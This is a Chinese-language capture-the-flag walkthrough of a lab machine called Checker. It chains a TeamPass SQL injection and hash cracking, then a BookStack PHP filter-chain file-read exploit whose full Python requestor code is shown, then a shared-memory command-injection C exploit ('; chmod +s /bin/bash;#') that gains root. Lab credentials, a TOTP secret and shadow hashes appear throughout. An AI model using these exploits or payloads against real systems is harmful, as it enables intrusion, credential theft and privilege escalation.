基本信息

端口扫描

22,80和8080:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nmap -sC -sV -Pn 10.10.11.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-28 08:26 CST
Nmap scan report for 10.10.11.56
Host is up (0.069s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.42 seconds

80

需要加hosts:

1
10.10.11.56 checker.htb

是一个BootStack,需要登录:

8080

是Teampass:

页面信息中可以看到子域名vault,同样添加hosts:

vault

其实没什么用,自动跳转到主站

Teampass

sql注入

搜索发现Teampass相关漏洞:

运行poc,得到两条hash:

1
2
3
4
./teampass.sh http://checker.htb:8080/

admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

可以破解出bob的密码,登录teampass:

1
2
3
sudo hashcat -m 3200 hash.txt  ~/Tools/dict/rockyou.txt

cheerleader

items

items里可以得到两组账号密码:

1
2
3
4
# boosktack login
bob@checker.htb mYSeCr3T_w1kI_P4sSw0rD
# ssh access
reader hiccup-publicly-genesis

ssh

现在尝试ssh登录会发现还需要2FA:

BootStack

所以先去登录BootStack:

搜索可以发现BootStack相关漏洞:

按照文章中描述,创建new book-> new page-> save-draft

另外代码需要做一些修改:

1
2
3
4
5
6
7
python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "LuuCqCGC2boOS0c5ONWPuNH4ktuSmgzA2Lx7BePr","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6Ii9HMnhISHJpbWN2RHkwbFFRdkZGVVE9PSIsInZhbHVlIjoiQXYrN1RRaEtVUzRZczJqQWJEUnRsSlJydmdBTFFnYUhpa1lUNjBMQjNjbmtHL2wvUUNlSmxqU1dUN3plcGxPWnc1ZmJibnJYa0hGdnpTRGQyUGwvOUJTSUNVc2MvVGc3aUdNZFBRWnJ6aWFaOXhUdmtyZDRybXFOOUs4VUNvMGIiLCJtYWMiOiJhZDFmNGMxYzU2YzE1YjRjMDkwOGI0NzllN2I3YWVhM2JiMzE0ZTUxMTU4MzkyMTg0NGYyNjE4NjY0Njg4MjIzIiwidGFnIjoiIn0%3D"}'

# 后面就是一步步读文件
# 这个路径在自带的book里可以得到
/backup/home_backup/home/reader/.google_authenticator

b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

requestor.py

php_filter_chains_oracle_exploit/filters_chain_oracle/core/requestor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
import json
import requests
import time
import base64 # Ensure base64 module is imported
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
import re

"""
Class Requestor, defines all the request logic.
"""
class Requestor:
def __init__(self, file_to_leak, target, parameter, data="{}", headers="{}", verb=Verb.POST, in_chain="", proxy=None, time_based_attack=False, delay=0.0, json_input=False, match=False):
self.file_to_leak = file_to_leak
self.target = target
self.parameter = parameter
self.headers = headers
self.verb = verb
self.json_input = json_input
self.match = match
print("[*] The following URL is targeted : {}".format(self.target))
print("[*] The following local file is leaked : {}".format(self.file_to_leak))
print("[*] Running {} requests".format(self.verb.name))
if data != "{}":
print("[*] Additionnal data used : {}".format(data))
if headers != "{}":
print("[*] Additionnal headers used : {}".format(headers))
if in_chain != "":
print("[*] The following chain will be in each request : {}".format(in_chain))
in_chain = "|convert.iconv.{}".format(in_chain)
if match:
print("[*] The following pattern will be matched for the oracle : {}".format(match))
self.in_chain = in_chain
self.data = json.loads(data)
self.headers = json.loads(headers)
self.delay = float(delay)
if proxy :
self.proxies = {
'http': f'{proxy}',
'https': f'{proxy}',
}
else:
self.proxies = None
self.instantiate_session()
if time_based_attack:
self.time_based_attack = self.error_handling_duration()
print("[+] Error handling duration : {}".format(self.time_based_attack))
else:
self.time_based_attack = False

"""
Instantiates a requests session for optimization
"""
def instantiate_session(self):
self.session = requests.Session()
self.session.headers.update(self.headers)
self.session.proxies = self.proxies
self.session.verify = False

def join(self, *x):
return '|'.join(x)

"""
Used to see how much time a 500 error takes to calibrate the timing attack
"""
def error_handling_duration(self):
chain = "convert.base64-encode"
requ = self.req_with_response(chain)
self.normal_response_time = requ.elapsed.total_seconds()
self.blow_up_utf32 = 'convert.iconv.L1.UCS-4'
self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)
chain_triggering_error = f"convert.base64-encode|{self.blow_up_inf}"
requ = self.req_with_response(chain_triggering_error)
return requ.elapsed.total_seconds() - self.normal_response_time

"""
Used to parse the option parameter sent by the user
"""
def parse_parameter(self, filter_chain):
data = {}
if '[' and ']' in self.parameter: # Parse array elements

main_parameter = [re.search(r'^(.*?)\[', self.parameter).group(1)]
sub_parameters = re.findall(r'\[(.*?)\]', self.parameter)
all_params = main_parameter + sub_parameters
json_object = {}
temp = json_object
for i, element in enumerate(all_params):
if i == len(all_params) -1:
temp[element] = filter_chain
else:
temp[element] = {}
temp = temp[element]
data = json_object
else:
data[self.parameter] = filter_chain
return merge_dicts(data, self.data)

"""
Returns the response of a request defined with all options
"""
def req_with_response(self, s):
if self.delay > 0:
time.sleep(self.delay)

filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# DEBUG print(filter_chain)
merged_data = self.parse_parameter(filter_chain)

# Fix indentation: Encode filter chain in Base64
encoded_bytes = base64.b64encode(filter_chain.encode('utf-8'))
encoded_str = encoded_bytes.decode('utf-8')
payload = f"<img src='data:image/png;base64,{encoded_str}'/>"
merged_data[self.parameter] = payload # Fixed indentation

# Make the request, the verb and data encoding is defined
try:
if self.verb == Verb.GET:
requ = self.session.get(self.target, params=merged_data)
return requ
elif self.verb == Verb.PUT:
if self.json_input:
requ = self.session.put(self.target, json=merged_data)
else:
requ = self.session.put(self.target, data=merged_data)
return requ
elif self.verb == Verb.DELETE:
if self.json_input:
requ = self.session.delete(self.target, json=merged_data)
else:
requ = self.session.delete(self.target, data=merged_data)
return requ
elif self.verb == Verb.POST:
if self.json_input:
requ = self.session.post(self.target, json=merged_data)
else:
requ = self.session.post(self.target, data=merged_data)
return requ
except requests.exceptions.ConnectionError :
print("[-] Could not instantiate a connection")
exit(1)
return None

"""
Used to determine if the answer trigged the error based oracle
TODO : increase the efficiency of the time based oracle
"""
def error_oracle(self, s):
requ = self.req_with_response(s)

if self.match:
# DEBUG print("PATT", (self.match in requ.text))
return self.match in requ.text

if self.time_based_attack:
# DEBUG print("ELAP", requ.elapsed.total_seconds() > ((self.time_based_attack/2)+0.01))
return requ.elapsed.total_seconds() > ((self.time_based_attack/2)+0.01)

# DEBUG print("CODE", requ.status_code == 500)
return requ.status_code == 500

user flag

然后随便找个在线OTP生成,使用secret key生成ssh的2fa即可:

check_leak to root

reader可以sudo运行check_leak,下载到本地分析:

该程序会根据已知“公共哈希”列表(同一目录中的 .txt 文件)检查 DB 上的哈希,但使用具有每个人的读/写权限的共享内存来执行此操作。所以我们可以更改程序存储在内存中的内容,从而在程序本身执行的命令上注入命令。

(具体分析过程,暂时是知识盲区)

1
2
3
4
5
gcc -o exploit exploit.c
while true; do ./exploit; done

# 另一个窗口
sudo /opt/hash-checker/check-leak.sh bob

exploit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>

#define SHM_SIZE 0x400 // 1024 bytes
#define SHM_MODE 0x3B6 // Permissions: 0666 in octal

int main(void) {
// Seed the random number generator with the current time.
time_t current_time = time(NULL);
srand((unsigned int)current_time);

// Generate a random number and apply modulo 0xfffff to generate the key.
int random_value = rand();
key_t key = random_value % 0xfffff;

// Print the generated key in hexadecimal.
printf("Generated key: 0x%X\n", key);

// Create (or get) the shared memory segment with the generated key.
// IPC_CREAT flag is used to create the segment if it does not exist.
int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
if (shmid == -1) {
perror("shmget");
exit(EXIT_FAILURE);
}

// Attach to the shared memory segment.
char *shmaddr = (char *)shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) {
perror("shmat");
exit(EXIT_FAILURE);
}

// Define the payload string to be written.
const char *payload = "Leaked hash detected at Sat Feb 22 23:21:48 2025 > '; chmod +s /bin/bash;#";

// Write the payload to the shared memory segment.
snprintf(shmaddr, SHM_SIZE, "%s", payload);

// Optionally, print the content that was written.
printf("Shared Memory Content:\n%s\n", shmaddr);

// Detach from the shared memory segment.
if (shmdt(shmaddr) == -1) {
perror("shmdt");
exit(EXIT_FAILURE);
}

return 0;
}

shadow

1
2
root:$6$rounds=656000$./5JaqCAZCb4sHeC$.1a4QsJHZZyRFaUVyqvqJ57FT..6h7MNsNQG260GLNRTbbfSNtkW/ST1QVmp.UUXwmKbk8McbC9MzRjbHEI6/0:19886:0:99999:7:::
reader:$y$j9T$vEOe6knx0sZ0q6zCWToqJ/$wILdbQhLxYYDbil7kgX5KLD5tIIXrxul5sX3OJmE/t4:19888:0:99999:7:::

参考资料